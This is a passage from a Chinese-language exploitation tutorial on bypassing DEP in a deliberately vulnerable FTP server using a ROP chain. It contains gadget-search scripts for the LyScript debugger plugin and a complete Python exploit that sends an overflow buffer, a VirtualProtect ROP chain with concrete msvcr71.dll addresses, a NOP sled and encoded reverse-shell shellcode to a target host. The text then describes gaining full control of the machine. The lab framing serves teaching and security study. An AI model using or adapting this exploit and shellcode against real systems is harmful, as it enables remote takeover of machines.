插件中的掃描功能,如下代碼將可以幫助讀者以最快的速度驗證當(dāng)前進(jìn)程中是否有我們所需模塊;
from LyScript32 import MyDebug
import pefile
if __name__ == "__main__":
# 初始化
dbg = MyDebug()
dbg.connect()
# 得到所有加載過的模塊
module_list = dbg.get_all_module()
for module_index in module_list:
# 依次讀入程序所載入的模塊
byte_array = bytearray()
for index in range(0, 4096):
read_byte = dbg.read_memory_byte(module_index.get("base") + index)
byte_array.append(read_byte)
oPE = pefile.PE(data=byte_array)
# 數(shù)據(jù)不可執(zhí)行 DEP => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x100 == 0x100
if ((oPE.OPTIONAL_HEADER.DllCharacteristics & 256) != 256):
print("{:15}\t\t".format(module_index.get("name")), end="")
print("可利用\t\t\t",end="")
print()
dbg.close()
將FTPServer.exe
拖入調(diào)試器內(nèi),并執(zhí)行上方腳本,則可輸出當(dāng)前沒有開啟DEP保護(hù)的模塊,例如代碼中我故意編譯進(jìn)去了network.dll
模塊,該模塊就沒有開啟DEP保護(hù),那么就可被利用;
接下來就是構(gòu)建一條可以實(shí)現(xiàn)關(guān)閉DEP內(nèi)存保護(hù)的匯編指令集,如下所示則是通過匯編語言調(diào)用virtualProtect
的ROP鏈;
ret
pop eax
0xfffffcdf
add ebp, eax
pop eax
0xfffffdff
neg eax
pop ebx
0xffffffff
inc ebx
add ebx, eax
pop edx
0xffffffc0
neg edx
pop ecx
&writetable
pop edi
ret (rop nop)
pop esi
jmp [eax]
pop eax
ptr to virtualProtect()
jmp esp
讀者可通過使用LyScript
插件實(shí)現(xiàn)對這些內(nèi)存地址的枚舉搜索,以搜索network.dll
模塊為例,讀者需要找到模塊開始地址0x62501000
以及模塊的結(jié)束地址0x62501fff - start_address
并通過調(diào)用get_disasm_code
反匯編代碼片段,通過SearchOpCode()
函數(shù)循環(huán)搜索ROP指令片段,這段搜索代碼如下所示;
from LyScript32 import MyDebug
def SearchOpCode(OpCodeList,SearchCode,ReadByte):
SearchCount = len(SearchCode)
for item in range(0,ReadByte):
count = 0
OpCode_Dic = OpCodeList[ 0 + item : SearchCount + item ]
try:
for x in range(0,SearchCount):
if OpCode_Dic[x].get("opcode") == SearchCode[x]:
count = count + 1
if count == SearchCount:
return OpCode_Dic[0].get("addr")
except Exception:
pass
if __name__ == "__main__":
dbg = MyDebug()
connect_flag = dbg.connect()
# 得到檢索地址
start_address = 0x62501000
end_address = 0x62501fff - start_address
disasm_dict = dbg.get_disasm_code(start_address,end_address)
# 快速查找構(gòu)建漏洞利用代碼
SearchCode = [
["ret"],
["pop eax","ret"],
["add ebp,eax","ret"],
["pop eax","ret"],
["neg eax","ret"],
["pop ebx","ret"],
["inc ebx","ret"],
["add ebx,eax", "ret"],
["pop edx", "ret"],
["neg edx", "ret"],
["pop ecx", "ret"],
["ret"],
["pop esi", "ret"],
["jmp [eax]", "ret"],
["pop eax", "ret"],
["jmp esp", "ret"],
]
# 檢索內(nèi)存指令集
for item in range(0,len(SearchCode)):
Search = SearchCode[item]
ret = SearchOpCode(disasm_dict,Search,1000)
if ret != None:
print("指令集: {} --> 首次出現(xiàn)地址: {}".format(SearchCode[item],hex(ret)))
dbg.close()
運(yùn)行上述插件則可掃描出當(dāng)前network.dll
模塊內(nèi)所有匹配的內(nèi)存地址,并輸出如下圖所示的掃描結(jié)果;
接著再掃描一下msvcr71.dll
模塊內(nèi)的ROP指令片段,并輸出如下圖所示的掃描結(jié)果;
需要注意的是,單純在這兩個模塊內(nèi)搜索是無法構(gòu)建出這段特殊指令集的,讀者可自行更換模塊對模塊批量尋找,此處只是為了演示LyScript
插件的使用細(xì)節(jié);
筆者已經(jīng)將ROP
鏈構(gòu)建好了,當(dāng)然手動構(gòu)建并不是最好的選擇,除了使用LyScript
插件搜外,讀者也可以使用mona.py
插件自動化完成這個過程,mona.py
插件是專門用戶構(gòu)建有效載荷的工具,其構(gòu)建語句是!mona.py rop -m *.dll -cp nonull
這里我就不在羅嗦了,直接給出構(gòu)建好的ROP指令片段吧;
# coding:utf-8
import socket
import struct
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 發(fā)送數(shù)據(jù)包頭
buffer = b'A' * 2002 # 實(shí)際緩沖區(qū)填充物
nops = b'\x90' * 50 # nop雪橇的位置
buf = b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
buf += b"\x15\x6c\xfe\x8f\xd5\xff\x01\x70\x26\x9f\x88\x95"
buf += b"\x17\x8d\xef\xde\x0a\x01\x7b\xb2\xa6\xea\x29\x27"
buf += b"\x86\x13\xc2\xf0\xa2\xcd\x56\x8c\x1a\x20\xa9\xdd"
buf += b"\x67\x23\x55\x1c\xb4\x83\x64\xef\xc9\xc2\xa1\xb9"
buf += b"\xa4\x2b\x7f\x6d\xcc\xe1\x90\x1a\x90\x39\x90\xcc"
buf += b"\x9e\x01\xea\x69\x60\xf5\x46\x73\xb1\x7e\x1e\x6b"
buf += b"\xba\xd8\xbf\x8a\x6f\x88\x3a\x45\xfb\x14\x74\xa9"
buf += b"\x4d\xef\x42\xde\x4f\x39\x9b\x20\xe3\x04\x13\xad"
buf += b"\xfd\x41\x94\x4e\x88\xb9\xe6\xf3\x8b\x7a\x94\x2f"
buf += b"\x19\x9c\x3e\xbb\xb9\x78\xbe\x68\x5f\x0b\xcc\xc5"
buf += b"\x2b\x53\xd1\xd8\xf8\xe8\xed\x51\xff\x3e\x64\x21"
buf += b"\x24\x9a\x2c\xf1\x45\xbb\x88\x54\x79\xdb\x75\x08"
buf += b"\xdf\x90\x94\x5f\x5f\x59\x67\x60\x3d\xcd\xab\xad"
buf += b"\xbe\x0d\xa4\xa6\xcd\x3f\x6b\x1d\x5a\x73\xe4\xbb"
buf += b"\x9d\x02\xe2\x3b\x71\xac\x63\xc2\x72\xcc\xaa\x01"
buf += b"\x26\x9c\xc4\xa0\x47\x77\x15\x4c\x92\xed\x1f\xda"
buf += b"\xdd\x59\x16\x9d\xb6\x9b\x29\x83\xfe\x12\xcf\x93"
buf += b"\xae\x74\x40\x54\x1f\x34\x30\x3c\x75\xbb\x6f\x5c"
buf += b"\x76\x16\x18\xf7\x99\xce\x70\x60\x03\x4b\x0a\x11"
buf += b"\xcc\x46\x76\x11\x46\x62\x86\xdc\xaf\x07\x94\x09"
buf += b"\xc8\xe7\x64\xca\x7d\xe7\x0e\xce\xd7\xb0\xa6\xcc"
buf += b"\x0e\xf6\x68\x2e\x65\x85\x6f\xd0\xf8\xbf\x04\xe7"
buf += b"\x6e\xff\x72\x08\x7f\xff\x82\x5e\x15\xff\xea\x06"
buf += b"\x4d\xac\x0f\x49\x58\xc1\x83\xdc\x63\xb3\x70\x76"
buf += b"\x0c\x39\xae\xb0\x93\xc2\x85\xc2\xd4\x3c\x5b\xed"
buf += b"\x7c\x54\xa3\xad\x7c\xa4\xc9\x2d\x2d\xcc\x06\x01"
buf += b"\xc2\x3c\xe6\x88\x8b\x54\x6d\x5d\x79\xc5\x72\x74"
buf += b"\xdf\x5b\x72\x7b\xc4\x6c\x09\xf4\xfb\x8d\xee\x1c"
buf += b"\x98\x8e\xee\x20\x9e\xb3\x38\x19\xd4\xf2\xf8\x1e"
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"
rop = struct.pack ('<L',0x7c349614) # ret
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffcdf) #
rop += struct.pack('<L',0x7c379c10) # add ebp,eax
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffdff) # value = 0x201
rop += struct.pack('<L',0x7c353c73) # neg eax
rop += struct.pack('<L',0x7c34373a) # pop ebx
rop += struct.pack('<L',0xffffffff) #
rop += struct.pack('<L',0x7c345255) # inc ebx
rop += struct.pack('<L',0x7c352174) # add ebx,eax
rop += struct.pack('<L',0x7c344efe) # pop edx
rop += struct.pack('<L',0xffffffc0) # 0x40h
rop += struct.pack('<L',0x7c351eb1) # neg edx
rop += struct.pack('<L',0x7c36ba51) # pop ecx
rop += struct.pack('<L',0x7c38f2f4) # &writetable
rop += struct.pack('<L',0x7c34a490) # pop edi
rop += struct.pack('<L',0x7c346c0b) # ret (rop nop)
rop += struct.pack('<L',0x7c352dda) # pop esi
rop += struct.pack('<L',0x7c3415a2) # jmp [eax]
rop += struct.pack('<L',0x7c34d060) # pop eax
rop += struct.pack('<L',0x7c37a151) # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed) # jmp esp 原始EIP地址
sock.send(command + buffer + rop + nops + buf)
sock.close()
此時我們回到被攻擊主機(jī),并通過x64DBG
附加調(diào)試FTP服務(wù)程序,然后手動在第一條鏈上下斷點(diǎn)0x7c349614
然后運(yùn)行攻擊腳本,觀察堆棧的變化。
如下圖就是運(yùn)行后的堆棧,你可以清晰的看到堆棧,棧頂?shù)?code>41414141就是我們填充的合法指令,而接著下方就是我們構(gòu)建的ROP鏈,當(dāng)執(zhí)行完這條鏈的時候此時的當(dāng)前的堆棧就會被賦予可執(zhí)行權(quán)限;
最后調(diào)用0x625011ed
也就是jmp esp
跳轉(zhuǎn)到下方連續(xù)的0x90
NOP墊片位置,此時當(dāng)墊片被執(zhí)行完畢,就會順利的執(zhí)行我們所布置好的ShellCode
反彈后門。
繼續(xù)跟隨,Nop墊片結(jié)束后則滑向ShellCode后門代碼片段,則此時后門就被順利運(yùn)行了,如下圖所示;
通過按下F9讓程序直接運(yùn)行起來,此時回到攻擊主機(jī),則此時會看到我們已經(jīng)拿到了主機(jī)的完整控制權(quán);
至此筆者已經(jīng)展示了漏洞挖掘的具體實(shí)現(xiàn)細(xì)節(jié),在真正的漏洞挖掘場景中其思路與上述案例完全一致,本案例也僅僅只是讓讀者能夠理解漏洞的產(chǎn)生,以及如何挖掘,并以此揭秘讀者心中的疑惑。 同時在實(shí)際的漏洞挖掘中,讀者也需要遵循一些基本的原則,例如:文章來源:http://www.zghlxwxcb.cn/news/detail-548730.html
- 掌握相關(guān)技術(shù):漏洞挖掘需要掌握相關(guān)的技術(shù),例如程序分析、二進(jìn)制分析、網(wǎng)絡(luò)協(xié)議等等,這些技術(shù)能夠幫助你識別可能存在的漏洞。
- 熟悉目標(biāo):了解目標(biāo)系統(tǒng)的結(jié)構(gòu)、代碼庫、協(xié)議等信息,有助于快速定位漏洞。
- 使用工具:使用專門的工具可以提高效率和準(zhǔn)確性,例如漏洞掃描器、反匯編器、調(diào)試器等等。
- 堅持實(shí)踐:漏洞挖掘需要不斷地實(shí)踐和嘗試,通過不斷的學(xué)習(xí)和實(shí)踐,才能提高自己的技能和能力。
總之,漏洞挖掘是一項需要技術(shù)和經(jīng)驗的工作,需要不斷學(xué)習(xí)和實(shí)踐,才能取得好的成果,也希望讀者能多多實(shí)踐,早日成為漏洞挖掘?qū)I(yè)人士;文章來源地址http://www.zghlxwxcb.cn/news/detail-548730.html
到了這里,關(guān)于5.2 基于ROP漏洞挖掘與利用的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!